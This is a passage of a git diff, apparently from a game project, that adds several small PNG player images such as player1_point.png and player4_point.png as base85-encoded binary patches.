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 literal 0 HcmV?d00001 diff --git a/data/images/player1_point.png b/data/images/player1_point.png new file mode 100644 index 0000000000000000000000000000000000000000..c06c08c7db9abaa067f03abf1c4b6864b82613c1 GIT binary patch literal 2044 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 literal 0 HcmV?d00001 diff --git a/data/images/player4_point.png b/data/images/player4_point.png new file mode 100644 index 0000000000000000000000000000000000000000..dd8f1ad323a8b64575729e87136c4d3333cafce4 GIT binary patch literal 2079 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 